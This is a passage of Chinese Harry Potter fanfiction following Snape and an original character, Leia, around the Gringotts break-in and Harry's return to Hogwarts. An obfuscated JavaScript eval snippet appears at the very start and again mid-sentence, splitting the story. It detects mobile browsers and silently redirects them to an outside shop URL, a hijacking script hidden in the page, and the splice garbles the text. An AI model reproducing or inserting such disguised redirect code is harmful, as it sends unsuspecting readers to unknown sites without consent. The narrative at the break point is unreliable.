;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“十分感谢你的金玉良言,老剑!”是李·乔丹,正兴奋地做着节目总结的词语,“听众朋友们,又到了本期波特瞭望站和大家说再见的时候了。那么,虽然不知道何时才能做下一次广播,但是请放心,我们一定会回来的!请经常转动调试按钮,我们下一次的暗号是‘疯眼汉’。” 接下来,另一个充满戏谑的声音响起,显然是弗雷德或乔治·韦斯莱,“鉴于这个美好的复活节假期,我们特别为大家送上一曲‘金色梦乡’。我们相信,不久后我们热爱的、带有闪电伤疤的男孩也一定会踏上归途,晚安。” 柔和的钢琴前奏从收音机里慢慢淌出,低沉的男声伴随着悠远的音符渐渐弥散开来: “Once, there was a way to get back homeward. (曾经,有一条路通往归途) Once, there was a way to get back home. (曾经,有一条路引你回家) Sleep, pretty darling, do not cry. (睡吧,亲爱的,不要哭泣) And I will sing a lullaby. (我会为你唱一首摇篮曲)” 和旋律一起,斯内普的耳朵捕捉到有人在低声跟着哼唱,显然是她。他在悦耳的歌声里恍神数秒,迟疑片刻后,最终放任自己往声音的方向而去。 客厅里,蕾雅正靠着沙发坐在地毯上,纤细的手指有节奏地轻敲着收音机的顶部。她的腿上盖着一半还搭在沙发上的毛毯,两个圆鼓鼓的抱枕和一本打开的笔记散落在身边。 斯内普远远地望了一阵,随后缓步绕过垂在地上的毛毯,踱到她旁边的沙发侧坐下。 “您回来了?”蕾雅闻声侧过头,瞬间察觉到他阴沉的面庞,连忙关切地问道:“怎么了?和邓布利多先生的聊天不愉快?” “嗯。”斯内普闷声应道,抬起手揉揉眉心,视线却不自觉地落在她正敲打旋律的指尖。 收音机里的歌声继续飘荡着: “Golden slumbers fill your eyes. (金色的梦乡填满你的双眼) Smiles awake you when you rise. (微笑将伴你在晨曦中苏醒)” 蕾雅安抚般微笑着看他的双眼,干脆转过身,手臂趴在他手边的沙发上,凑近了些。他几乎可以感受到她发间的橙花香气,也可以看见她羽毛般翕动着的睫毛。 她眨了眨眼,若有所思地柔声说道:“我听说,两个互相关心的人才容易发生争执。” 斯内普当然不打算予以评价。他别扭地看向她身后的壁炉,内心踌躇一阵,缓慢地低声说道:“返校那天,早上八点。” “嗯?”蕾雅的笑意没有减退,耐心地等待他斟酌的下文。 他飞快地睨她一眼,又移开眼神。表情保持着水平面般的冷淡,话也好像从他喉咙不情愿地流出来一样:“我会来跟你一起回去。” “为什么?”蕾雅的清亮绿眸在客厅幽暗的灯光中流转,有温暖沉在她的眼底。 斯内普轻咳一声,压下心中的不适,故作平淡道:“如果你想在列车上被带走,我没意见。” “哦,原来如此。”她恍然大悟地感叹一声,呢喃道:“谢谢您。” “嗯。”话说完,斯内普便下意识地准备起身离开。 “那……”她的低语打断了他的动作。 斯内普稍稍停顿,侧眸看向她。 迎上斯内普询问的神色,蕾雅诚恳地紧盯着他如黑曜石般深沉的双眸,手指不经意般掠过他手边的沙发:“……等一切都结束了,我有话对您说,可以吗?” 斯内普的身体霎时僵住,站直的姿势瞬间凝固。他垂下眸,清楚地看见她脸上铺开的绯红。不待多想,他便迅速撇开眼色,喉结却无法控制地滚动了一下。 她是你的学生。他心里仅存的理智在大声告诫。 但是从一开始就没有推开她的,也是你。心里另一个古怪的声音咒骂道。 如果说,之前他只是任由自己在明知有限的时间里沉溺在她带来的安心与温暖中,甚至默许了她偶尔的靠近。那么此刻,在清晰地知道邓布利多和她为他准备的一切以后,她这句话无疑像是一把精准的钥匙,打开了他心中某扇从未开启过的门。 这一瞬间,他骤然意识到,这已不仅仅是他可以置之不理的情感。 那么,他准备好了吗?还是说,一如既往,穿起对过去的深情愧疚和自责悔罪的伪装盔甲,继续做个看似勇敢的懦夫? 沉重的思绪层层缠绕,宛若将他拖向看不见底的悬崖深渊。耳边的风声如巨石般压迫,令他几近放弃挣扎。这种不断下坠的无力感,甚至比任何一次经历黑魔王折磨时的痛苦还要糟糕。 又过了许久,等收音机里的一切都消停了。斯内普才终于从这苦苦支撑的深谷中寻得一点生机,勉强找到回应的话语:“首先,我们得都活着。” “那是什么让您觉得我们不会呢?”她用手背碰了碰脸颊,掩饰着自己心室中慌乱的聒噪声,唇边明媚轻快地说着:“我还等着您批准我的助教申请呢。” 斯内普依然没有回应,只是低头无声地将衣服整理得一丝不苟,同时暗自将情绪锁死。他垂下手臂,动作自然地伸向她身后搭在沙发扶手上的外袍,指尖在中途故意般擦过她的发顶,扰乱了原本整齐平顺的发丝。 随后,他转身重新走向大门。 忽而,脑海里回想起刚才的音乐: “Once, there was a way to get back homeward. (曾经,有一条路通往归途) Once, there was a way to get back home. (曾经,有一条路引你回家)” 57.日没 尽管对角巷里大部分店铺都已经到了营业的时间,但街上几乎没有任何的顾客,只有衣衫褴褛、蜷缩着身子的乞丐散落在各个破败的店铺门前,向偶尔经过的罕见过路人讨要着财物。这里再也不是从前熙熙攘攘的样子了。 就在一家隐藏在弯曲巷子里不起眼的小酒馆中,西里斯·布莱克和莱姆斯·卢平坐在窗边的四人桌前。两个人都没有说话,也没有看对方。卢平不时低头啜饮一口温热的黑咖啡,布莱克则完全没有动过他面前的饮料,只是心不在焉地盯着窗外,任凭收音机里飘出的低沉迷幻的旋律在耳边缠绕。 从窗户望出去,正对面是一家经营黑魔法物品的店面,窗户用木板条封得死死的,只在狭窄的门口露出一丝昏暗的灯光,暗示着店铺还在营业。店铺右侧破旧的墙壁上贴满了他教子哈利·波特的通缉海报,视线再往右移,便能看见古灵阁那仄歪的入口,白色大理石柱子被清晨的日光照得发光。 不久后,小酒馆的门口响起叮叮当当的开门铃声,布莱克和卢平循声望去,只见沙伯克·金斯莱低头走进酒馆,他身后跟着一个同样低垂着姿态的男巫,一头耀眼的金发与这幽暗破旧的酒馆有些格格不入。 还没等酒保上前招待,金斯莱指了指布莱克坐的那桌,快速说道两杯红茶。等酒保端来茶水,重新回到了吧台后继续清洗作业,金斯莱才领着身后人径直走到布莱克的桌边。 金斯莱稍稍颔首,算是打过招呼:“抱歉,稍微迟了些,等了亚瑟半天,他最后还是来不了。” “不算晚,他们到现在还没现身。”布莱克起身,顺手整理身上那件笔挺的墨绿天鹅绒西装,朝金斯莱身旁的男巫递出手,微笑道:“您一定就是雷格纳·莱恩哈特先生吧,我是西里斯·布莱克。” 卢平也站起身,脸上挂着温和的笑容,显得更加有礼:“久闻大名,莱恩哈特先生,”他说道,并向雷格纳微微鞠躬,“一直以来都非常感谢蕾雅为我调制的狼毒药剂。” 雷格纳微笑着,热情地握住了布莱克的手,随后又与卢平握手:“别这么客气,卢平教授。蕾雅也只是想尽自己的绵薄之力。”他稍作停顿,补充道:“叫我雷格纳就好。” “请叫我莱姆斯。”卢平的手握得更紧了些。 “西里斯。”布莱克稍眨右眼。 “好了,别站着了,别人还以为我们在策划什么呢。”金斯莱摆摆手,示意三人入座,自己也坐了下来。金斯莱清了清喉咙,转向布莱克的表情也变得严肃:“怎么样,打听到什么消息了吗?” 布莱克旋即叹一口气,一头微曲的卷发随着他的动作耷拉下来。他的眼角不自觉飘向对面店铺外贴着的通缉令,无奈地摇摇头:“只知道是今天,只知道是古灵阁,其他的一概没透露。说是邓布利多给他们三人的安排,是完全不让我们帮忙。 “我本来以为他们不肯对我说也就算了,没想到连西里斯也没问出来,就是怎么发火、恳求都没用,那孩子就像铁了心一样。”卢平也跟着抓了抓头发,“好不容易再见面,但他们两个就是住在一起,也已经快一个月没说过话了。” “也许那孩子只是不想你们过于担心,”雷格纳安慰地说道,“就像他之前嘱咐莱姆斯照顾好唐克斯一样。”他突然停顿,笑着看卢平,“对了,恭喜啊,获得新身份了,一定很幸福吧?” 卢平放下正要移到嘴边的咖啡,连忙笑着点了点头:“谢谢。” 金斯莱打断了他们的闲聊,直截了当地把话题摊开:“他们有没有提到这次行动结束后会去哪里?” 布莱克稍微坐正,终于抿了一口凉透的茶水,答道:“我想是霍格沃茨。如果今天成功,他们应该会立刻赶回去。” “好。那么最快就可能是今天了。”金斯莱严肃地说,“攻其不备,不错。但还是让我再次确认一遍我们的准备。” “我和亚瑟那边没有问题。”雷格纳压低声,橄榄绿的瞳仁游走在布莱克和卢平之间,继续说道:“蕾雅说霍格沃茨的高年级学生也做了些准备。”还有斯内普,他在心里说。 “我这边也没有问题,都已经按计划布置好了。”卢平说。 “好,那接下来就是……”正当金斯莱准备继续发言时,酒馆外面的街上传来人声的骚动,而后是一阵窗户木板被哗啦啦抬起的声音。 几个人的神经在此刻倏地绷紧。 金斯莱按在玻璃杯上的指关节变得发白,眼睛随着布莱克敏锐的视线转向窗外——只见一群带着长袍兜帽匆匆行走的人群掠过他们眼前,紧接着出现了贝拉特里克斯·莱斯特兰奇的身影。 她的右手边紧跟着一个有一把浓密棕色胡须的男人,而左侧稍远的地方是个像是食死徒的男人,正在以夸张的表情对她说着话。一行人匆匆跨过古灵阁门前闪着日光的鹅卵石路,迈上了大理石的台阶。 “是他们。”布莱克嘀咕一句。 “按计划。”金斯莱敛住眼色说。 四个人不约而同地迅速起身。布莱克从口袋里掏出几个金加隆丢在桌子中间,转过头大步跟随其他人快步离开酒馆。 和隐藏在古灵阁外的布莱克与卢平分别以后,雷格纳和金斯莱按照计划跟在伪装成贝拉特里克斯的赫敏身后,走进了古灵阁。两人警觉地环视大厅,正好目睹被哈利施加了夺魂咒的一只妖精领着一行人前往金库,后面还跟着刚才的那个食死徒。 目送那一行人逐渐消失在门后,雷格纳和金斯莱交换了一个眼神,彼此心照不宣地点点头。 没有浪费一刻时间,雷格纳大步走向柜台,脸色平静地对唯一坐在那里的妖精说道:“我想进入莱恩哈特家的金库。”随着他的话音落下,一把金光四溢的钥匙被放在柜台上。 他们跟着引路的妖精步入通往地下金库的长廊,两侧的火把在墙上发出燃烧躁动的声响,把两个男巫的影子在石板地面拖得老长。刚到铁轨边,雷格纳就瞥见右手边的铁轨上有一辆正在离开的小车。里面载着两个妖精,还有三个巫师在后排,显然是哈利、罗恩和赫敏。 雷格纳眯起眼,藏在西装里的手指轻点魔杖,一道无声无形的追踪咒随即如影子般贴上远处的黑发男孩。接着,他和金斯莱沉默着一同坐上停在面前的小车,沿着轨道缓缓往地底钻去。然而,小车还未行驶太远,身后传来的异响便逐渐盖过了铁轨的嘎达嘎达声——是古灵阁大厅内被拉响的防卫装置警报。 …… 不知不觉是五月了。 远方禁林在熹微的晨光下淬开一种冷冽的青色,又被浅灰朦胧的雾纱染上一层虚浮的浅薄,仿佛是不真切的海市蜃楼,将背后交叠层积的山峰轮廓轻柔地抹去。近些,白雾自高耸的树梢流至霍格沃茨的草坪,捧来空气中大片湿润绵长的寒意,几缕昨夜的潮湿泥土味也混杂在其中。 再近些,蕾雅把困顿的目光从高窗之外扯回。古老的墙壁上同样古老的画像们都还在沉睡,而画像之下,面前的男人正面露不悦地为她手臂上的鞭痕上白鲜药水。他身上那清冷且略带苦涩的气息包围着她,就像远处深不可测的禁林一般。 复活节假期以后,高年级的课程基本都变成了自习与课上答疑。与此同时,卡罗兄妹对学生们的惩罚愈发肆虐,有些学生的伤口几乎从未痊愈,身上总是带着新旧交错的疤痕。这情况是严重得是连斯内普都不忍心看下去的地步。 尽管蕾雅一再尝试藏拙,尽量避免挑衅和引起卡罗兄妹的注意,但有时候也难以完全逃过这种暴行。 不过她倒是不以为然。因为受伤次数太多,以至于一些小伤口已经变得无所谓,上药的时候也麻木到忘记疼痛。但斯内普显然并不这么想,每次她来,他都会默默而不满地检查她的伤口,然后将它们治得一点痕迹都不留。 斯内普阴沉着脸放下她的手臂,他抬起头时,就瞥见她低垂着眼眸,睫毛上还挂着困倦打哈欠而留下的泪珠,分外有些温柔。 他错开视线,起身将手里的白鲜药水摆回桌边,随后从口袋里慢悠悠地抽出魔杖,调高了一侧壁炉的温度,问道:“昨天又弄到很晚?” “是啊,纳威他们一直在讨论怎么制衡巨人,而且有求必应屋的床真的是太硬了。”蕾雅仍坐在原处,放下衬衫的衣袖扣好,揉了揉乌青的眼底。 为了躲避卡罗兄妹的追捕,也为了更好地制定和训练战略,复活节后蕾雅便与纳威商量,让大家住进了有求必应屋。 金妮和卢娜确实都没能再返校,所以蕾雅不在的时候,纳威是一个人就接过了邓布利多军的领导。不仅如此,他还研究着把有求必应屋竭力扩充成邓布利多的公共休息室。这里逐渐出现了床、浴室、壁炉、书架,甚至是各个学院的帷幔、挂毯、装饰。更意外的是,纳威发现了有求必应屋的一条密道,直接通向猪头酒吧,从那以后,阿不福思·邓布利多便开始秘密为他们提供食物。 “我是真没想到隆巴顿能安排这一切。”斯内普哼了一声,稍带嘲讽地笑了一下,接着随手将办公桌上还未喝的咖啡召唤到她手边,“但让我提醒你们,恍惚的状态,正是给敌人可乘之机。” 蕾雅捧起斯内普递来的咖啡,心里暖暖的。 他是越来越理所当然般地为她做许多事了,尽管他好像本来就会在不经意间流露出对别人的关心。但事实是,这种表面一贯严厉禁欲的人,一旦显现出这种细微的温柔,无疑是致命诱人的。 “谢谢您。”蕾雅嘟哝着按住乱跳的心,低头认真地抿了一口他的咖啡,“这一年里,纳威确实变得好可靠,也比我更懂得照顾大家。” 斯内普顿了顿,察觉到她故意略过他的叮嘱,倒是觉得这家伙愈发深谙与他周旋的技巧。他扯扯嘴角,点着魔杖将魔法坩埚旁的几箱药剂收进施加过无痕伸展咒的帆布包里。 蕾雅观察到了他脸上的表情变化,轻笑着的眼眸里落满了对眼前人的怜爱,根本无法掩饰。她放下手中的空杯子后走到他身侧,探出半个脑袋到他视野里问道:“您呢?邓布利多先生有没有说什么?” 斯内普飞快地扫视她一眼,然后更快地转向她手边最后的三箱药剂上。他以魔杖将它们统统塞进魔法口袋里,语气故作平淡:“应该就是今天,一大早你父亲和布莱克他们就去了对角巷。” “是今天啊……”蕾雅的眼睛闪烁了一下,浮现出终于接近终点的释然。但很快,她的眉头蹙起,略显担忧地望向斯内普,声音低柔地问道:“那您准备好了吗?” “先担心你自己。”斯内普没有正面回答她的问题,心中开始在想着如何向哈利·波特交代最终的任务。他略微偏过头,将手中扣好的帆布袋递给她,叮嘱般再强调着:“如果他回来了,马上通知我。还有——别乱来,收起你们格兰芬多式的鲁莽和有勇无谋。” “我知道的。”蕾雅微笑着,仿佛是在给他承诺般,伸出手按按他的手腕,之后接过袋子,转身向门口走去。她拉开了通向校长室的门,却在跨出门槛的一刻突然顿住,别过脸望向已经回到办公桌前的斯内普:“其实,有时候我觉得,比起鲁莽,更多的是……不想留有遗憾。” 随着重新合上的木门,这个校长室好像又回到一片阴冷荒凉的寂寥里。 斯内普低头凝视着刚刚被她触碰过的地方,翻涌的思绪在这最不应该的一刻里袭向了他,平日刻薄的唇也抿成一个奇怪的弧度。他发现自己竟不由自主地想着她那句轻声的“遗憾”,这让他感到自己忽而如置身汪洋孤岛上般手足无措。 黑发男巫当然知道遗憾的滋味。 对那个人说出无法挽回的侮辱,是遗憾;错信黑魔法,加入食死徒,是遗憾;没有陪在母亲身侧送她最后一程,是遗憾;将偷听的预言告知黑魔王,是遗憾……没有办法阻止那个人的死亡——更是他无尽的遗憾。 他到此为止的这一生,竟然是由无数的遗憾所拼凑成的。而由这些遗憾带来的剧痛,如同层层压向他的审判,差点夺走他的一切。 那么,他又怎么可能舍得让她如他般,经历过充满遗憾和痛楚的人生呢? 可是,万一,事情真的不如邓布利多所预想那般发展,那又该如何呢? 他清楚地知道,自己早已错过所有推开她的机会——倘若从未相遇,从未相识,从未相知,这才是对她最好的选择。然而,这一切他难以改变。她的话语、她的笑颜、她的温暖、她的每一个细微之处,总是能在任何一个不知名的瞬间浮现在他的脑中,干扰他的神经,撼动他早已决堤的心防。 到底是什么时候开始,竟然连对她的事情做冷静的分析也变得如此困难? ——“不过,前提是你真的认为,你的感情和她的心意,毫无价值可言。” ——“我只请求你,请求你——别再一个人。” 他们的话语像是风暴一样卷席着他的心,带来更深的无助与动摇。 此刻想要一发遗忘咒的,分明是他自己啊。 斯内普抬手揉了揉不知什么时候拧得发疼的眉心,才注意到手中的羽毛笔已在纸张上洇出不断扩散的蜿蜒墨痕。他连忙放下笔,涣散的余光无意识地掠过架子顶层那耷拉着尖顶的分院帽。 不留遗憾?放手一搏? 这两个突兀的想法刺痛着他,如同锐利的笔尖划过脆弱的羊皮纸。 真是莽撞的格兰芬多才会有的思维,难道是被她影响了?他无声地苦笑,试图把有关于她的都藏回心底。他重新拿起羽毛笔,抽出一张崭新的纸张,继续先前中断的工作,用以稳固那摇摇欲坠的平稳。 …… 从校长室溜出来以后,时间还很早,蕾雅回到有求必应屋,和那些仍在赖床的伙伴们一起补了个回笼觉。 接下来的午后时分,从收音机里传来了哈利·波特等人攻破古灵阁、骑着火龙飞走的新闻,整个有求必应屋随之沸腾起来。 日悄悄地在他们的兴奋里沉没了。 蕾雅按捺住内心的紧张和激动,努力表现得与这周前几天一模一样,也调动着所有人的情绪。他们都聚精会神地坐在有求必应屋那块硕大的、写满战略布置的黑板前,是在模拟着与伏地魔军队的战斗。 “狼人那边不用担心,父亲说卢平教授已经在狼人村的水源中下好了毒药。”蕾雅拿着一块火腿三明治,侧坐在所有人的正前方。她的身后是一幅秀丽的风景画像,而画像的后面,正是通往猪头酒吧的密道。 她用魔杖指挥着黑板上哒哒作响的粉笔,银手环在黄昏的黯然中闪烁着微光。她继续说道:“至于摄魂怪,父亲和金斯莱先生他们会布下守护神防护罩,大家一定要坚定信念,尽力召唤出自己的守护神。” “接下来。”纳威环视着同伴们,他的脸上都是渗着血的伤痕,却好像不在意般抬着魔杖,指向黑板上的粉笔,将它一路滑过食死徒、摄魂怪、阴尸的字眼,语气凝重而认真:“阴尸大概会从黑湖里出来。” “沿岸的火焰咒我们在几天前已经布置好了。”肿了半边脸的西莫接过话:“到时候我跟纳威也会去把木桥炸掉。” 大家都若有所思地赞同着。 “那么果然最棘手的还是巨人啊。”帕瓦蒂靠着拉文德,捏着手指看向周围笔记寥寥的关键词。 一个赫奇帕奇的褐发男生从另一侧抬起头提示道:“昨晚是怎么说的来着?” “布莱克先生他们联系麦格教授布置了地面陷阱,斯普劳特教授也派出魔法植物支援。”纳威说,“还有……” “海格先生和他的巨人弟弟格洛普。”蕾雅抬起下巴,“巨人们的皮太厚,普通攻击基本不奏效,所以一旦遇上,我们最好赶紧逃脱,将他们引到陷阱里面。” “明白。”纳威又说,“其余的魔法生物,我们……” 他的话忽然打住,眼神忽而转向了蕾雅,准确的是,蕾雅的身后。所有人顺着他的视线看过去,只见从画像娟秀的风景里缓缓走来一个少女,是阿利安娜·邓布利多。 少女身着素雅的长裙,金色的发丝在画中的阳光下泛着柔和的光芒。她越走越近,直到她的身体挡住了所有风景,她俯下身,编得精致的麻花辫垂下来,轻轻叩了叩画框,低声说道:“他们回来了。”旋即,墙上的肖像如同一扇小门一样打开,露出了一条黑黢黢的隧道。 “!”所有人都难以置信般瞪大了眼睛,纳威和蕾雅同时站起,但纳威伸出手,拦住了她。 “我们不要都离开。”纳威说,目光坚定,“你留在这继续部署,我过去接他们就好。” 蕾雅愣了愣,最后郑重地点头:“好,你也要小心。” 纳威跟着阿利安娜的身影消失在画框的羊肠小道中。蕾雅则迅速打开了早上斯内普给她的帆布袋,将各种药剂分发到大家的手里。 她重重地吸了一口气,说道:“其他的魔法生物,按照我们训练过的,尽量保持两人一组,拉开距离战斗,但一定不要分开,互相掩护,记得魔咒的配合,明白吗?” 众人投去赞同的眼色,都将药剂小心翼翼地收进贴身的口袋。蕾雅趁机低头拉开衣袖,给斯内普传过去一个消息。 「他们要回来了」 「跟波特一起来校长室,让他用隐形斗篷」 「好」 传讯完成,蕾雅跟人群们站在一起,屏住呼吸盯着画像——就在那里,阿利安娜的素净蓝色长裙从天边渐渐出现了。而她的身后,踩着风景里的乡间小路,沐浴着宛若带有花香的恬静灿阳里的,是四张疲惫不堪却又铺满坚韧的脸。 “哈利!!!!”不知是谁第一个高喊出来,声音里夹杂着喜悦和亢奋。 “罗恩!赫敏!”另一个嗓音紧随其后,满是压抑已久的惊喜和希望。 这一天终于是来了。 蕾雅和纳威一起站在许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13778334|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多张激动的脸后面,眼里也涨满了泪水。她用力地捂住差点哭出声的嘴,默默地注视着期盼已久的团聚。二十几个人把三位小英雄紧紧围在中间,互相搂抱、握手、拍着背,泪水、呼喊、欢呼声融在一起,汇成一片壮阔澎湃的蓝海。 “好了好了,大家安静些。”纳威挥了挥手,人群应声安静下来。哈利看起来有些茫然,正站在房间中央,环顾这间陌生的有求必应屋。 赫敏在人群中抹着眼泪,抬眸便看到了蕾雅眼中的担忧与关心。两人无声地挤过许多人,抱在了一起。 “你还好吗?”赫敏把脸埋在好友的发间,哽咽着:“我就知道,我们走了以后你就会参与进来。” “哦梅林,是我该问你还好吗。你怎么瘦了这么多?嗯?”蕾雅从发紧的喉间滑出的话还发着颤,手一下下地抚着赫敏的背。她想起之前跟斯内普送剑的时候看见他们露营的环境,泛热的眼眶更止不住地涌出泪水。 她松开赫敏,用一双模糊的泪眼仔细打量着她的脸上、手上一块块新旧交织伤口。她的眉头不由紧皱,心疼地握住赫敏的手:“……你这是受了多少伤?快让我看看你的伤。” “没时间了。”赫敏摇摇头,“我们还有任务要完成,我们要去找……” “我知道。”蕾雅打断她,直视着她褐色的眼睛,温柔地说:“相信我。我知道你们在做什么。先别急,我们还有时间,把哈利和罗恩叫过来吧,我先给你们治治伤。” 赫敏犹豫地端详着蕾雅,察觉到黑发少女眼里的认真后,她最终同意着去叫哈利和罗恩。蕾雅走到纳威的身边,凑到他的耳旁:“纳威,我有话对他们说。等下我跟哈利离开后,你要带着大家先出去找麦格教授。” “嗯,我知道,那我可以通知卢娜和金妮了吗?”纳威问道。 “通知他们吧。然后一切按计划。” “好,一切按计划。”纳威喃喃着,掏出口袋里被捂得发热的假金币,给卢娜和金妮发去信息。 有求必应屋里充满了议论声,蕾雅和哈利三人趁着纳威通知其他人的间隙,凑到一个角落里。 “这些都是你和纳威布置的?”哈利好奇地问。 “是。”蕾雅把帆布包里的药剂递给他们,哈利和罗恩互相帮忙抹着药水,蕾雅也仔细地给赫敏上药。 “你哪里来的这么多药?”赫敏也挑起眉问道。 “接下来我要说的这些话,你们可能会很吃惊。”蕾雅低头拉开赫敏的袖口,就看到赫敏小臂上触目惊心的“Mudblood”字眼。 赫敏几乎是立刻想要抽回手:“这不要紧。你继续说。” “怎么可能不要紧?”蕾雅白她一眼,稍用力地扣住她的手臂,抽出魔杖抵着她的疤痕,回想着斯内普教她的魔咒,将那个刻痕一点一点抹去。 罗恩看着这一切,感激般叹道:“梅林的胡子……你是从哪儿学的这些?” “嗯。”蕾雅轻哼一声,平静地抬头:“听好了,这跟我接下来要说的话有关。”她顿了顿,继而说:“所有这些——我学的魔咒、这些药剂、战斗训练,都是斯内普教的。而且,我和他已经摧毁了藏在霍格沃茨的魂器。” “你说什么!?”哈利瞳孔骤缩,没压抑住地喊道:“你说什么?蕾雅,我需要你解释!” 蕾雅简短地交代过她知道的、有关于斯内普暗中做过的所有事,从乌姆里奇时代起的帮助,到杀死邓布利多的计划,摧毁魂器的行动,直到这一年暗中的守护。唯独除开邓布利多还活着的秘密。 “这怎么可能呢?!”哈利翠绿眼睛忽而变得空洞,手指握成了拳头,下唇也咬得更紧,依然想要质疑般开口:“可是他……” 就在这个时候,阿利安娜的画像再次打开。哈利转过身,更加惊讶地凝视着正从墙上的洞口里爬进来的金妮,后面紧跟着弗雷德、乔治、李·乔丹,还有卢娜、迪安·托马斯、张秋。 看到金妮的下一个瞬间,哈利丢下所有疑虑,与她紧紧相拥。而其他人也涌上去簇拥着回归的伙伴。 等他们沉浸在足够的快乐里,蕾雅注意到哈利不时抬手捂住头上的伤疤。她意识到这是时间不多的标志。 叮嘱过罗恩和赫敏要保守斯内普的秘密到最后一刻后,她便领着哈利走到墙角的一个小碗柜,从那里开始走下一条很陡的楼梯。 楼梯漫长而漆黑,两侧燃烧的魔法烛火微微跃动,几只忙碌的小蜘蛛不时穿行于墙缝之间。两个人并肩攀着楼梯,哈利忍着痛,不停地用手轻轻揉搓额角。 “很疼吗?有没有缓解的办法?”蕾雅用手按在一侧的墙壁,稳住下楼梯的平衡,问道。 “没事。”哈利嘟哝着答。 “你看见他了,是吗?”她又问。 “是,他在路上了。”哈利有些慌张地说着,随手抓抓凌乱的黑发。 “别慌,我们都布置好了,魂器也就只剩一个了。”蕾雅仔细地观察着他。两个人拐了一个突兀的弯,又再踩过一段楼梯,她淡淡地开口道:“今天,你们看到布莱克先生他们在古灵阁外面了吗?” “其实我知道。”哈利的脸庞有浅浅的笑意,“躲开那些摄魂怪的时候,我看见了他的守护神,还有莱姆斯的,以及一头没见过的狮子。” “噢……”蕾雅轻笑着,心里明白那是她父亲的守护神,但她没有继续这个话题,而是岔开来说:“或许邓布利多先生应该把这些事情告诉他们。” “主要是,魂器这个事情确实越少人知道越好。”哈利叹了口气。 “也许是吧。”蕾雅呢喃着偏过头,正好对上了哈利盯着她的疑虑眼色。她随即牵开一抹笑容,直视着他,“我知道你想说什么,哈利。” “倒也不是你想的那样,蕾雅。”哈利倒是露出释然的笑容,从脖子上挂的皮袋里摸出活点地图,晃了晃,“我没告诉罗恩和赫敏。其实我早就发现了,你总是待在校长室。” “唔……”蕾雅这才显得有些尴尬,无意识地摸了摸鼻尖。 “如果不是我一直了解你……或者你今晚没有跟我说这些,我真的会以为你要么和他在一起了,要么就是我们的间谍。”哈利说,语气里还是有不相信的怀疑,“不过,他找我到底是要做什么呢?” “这个,我就不知道了。斯内普校长也是按照邓布利多先生的安排。” 第不知道几次地拐过一个急弯,他们终于来到一堵结实的墙前。蕾雅探出手触摸着墙砖,没想到墙壁却像是被破开的水面一样包裹住了她的手臂。哈利也立即意识到怎么回事,两人相视一笑,齐齐埋头钻过去。 他们按照斯内普说的披上隐形斗篷,在浸透了月光和魔法烛火的悠长走廊里穿行,与一架架冰冷锃亮的盔甲擦肩而过。哈利不时拿出活点地图确认四周的情况,直到他们抵达那座熟悉的狮鹫面前。 蕾雅轻声说道:“邓布利多。” 她清脆的嗓音在阴暗冷硬的城堡中响起,一段旋转楼梯应声缓缓降落。 等来到校长室的时候,斯内普已经背着手站在房间中央等着了。他的黑袍如浓重暗影般笼罩着他,脸上写满因为长久等待而产生的焦躁。 “怎么这么久。”他不耐烦地啧了一声,蹙眉注视着面前两位同样长着黑发绿眸的格兰芬多小狮子。 “你找我什么事?”哈利直接忽略了他的不悦,开门见山地问。这使得对面的人脸色更加紧绷恐怖,就像是山林雨来前的压抑。 “格兰芬多之剑还在你手上吗。”斯内普冷冰冰地问道,视线却没有停在哈利身上,而是盯着地面。 “不在了,进入古灵阁的代价是把宝剑给拉环。”哈利耸了耸肩,诚实地回答。 “好吧。”斯内普手里的魔杖指向卧室的木门,轻轻挥动,“进去等我。” 哈利没有答话,显然对斯内普的存在依旧充满抗拒,但他扫了一眼蕾雅和斯内普,最终还是顺从地走进房间,留下两人在门外。 斯内普关上房门,黑曜石般沉黯的眼珠移向蕾雅:“莱恩哈特,把手伸出来。” 蕾雅愣了一下,没有多说,乖乖伸出右手。 “两只。”斯内普补了一句。 蕾雅眨了眨眼睛,很是疑惑,但还是将双手摊在他的前方。 斯内普点点手里的魔杖,蕾雅略显惊恐地望着架子最上方的分院帽和蛇牙晃晃悠悠地一同扑进她的怀里。她慌忙抱住两样东西,还未来得及开口询问,斯内普握成拳的左手已按在她摊开的掌心。 “拿着这些在这里等我们,我有话要对波特说。”他直直地看着她,松开的手指轻轻擦过她的指尖,而后转身,走向校长卧室。 “嗯。”她应了一声,低头看向手里的物品。 原是那枚丢失许久的绣球花耳环,正静静地躺在她的手心,于这长恒的黑夜中绽出坚定不移的光。 58.长夜 蕾雅无所事事地坐在校长室的沙发上,手中的分院帽被她捏的哼哼唧唧地唱着:“求求你放过这顶破旧的帽子吧,格兰芬多!” 她完全没有在乎分院帽的抗议,心里专注地揣测着第五种斯内普跟哈利谈话主题的可能性,这时候,那扇紧闭的木门才缓缓打开。 先出来的是表情深重的斯内普,他乌青的眼底下埋藏着一丝不忍,仿佛是堪堪完成一件残酷而痛心的任务。紧随在他后面的是脸色更加铁青的哈利·波特,他垂头丧气得宛如淋了一场雨,手里紧握着一张被撕了一半的照片。 没走出几步,哈利再次顿住,他苍白的面庞上抿实的双唇,看起来好像是全身的生命力正在一点点被抽走,只剩下一副空壳。 校长室里本就冷清寂静的空气,即刻因为这两个人身上那种如寒霜般彻骨的氛围凝结住了,变成了一整片南极永冻的冰原。 这肯定并不是一场愉快的对话,也许也并不是她可以得知的事情。蕾雅思忖到。 “哈利……”蕾雅紧盯着哈利呢喃着,准备放下手里的东西站起身,但刚一回头,就被斯内普阴沉冷硬的视线绊住脚步。 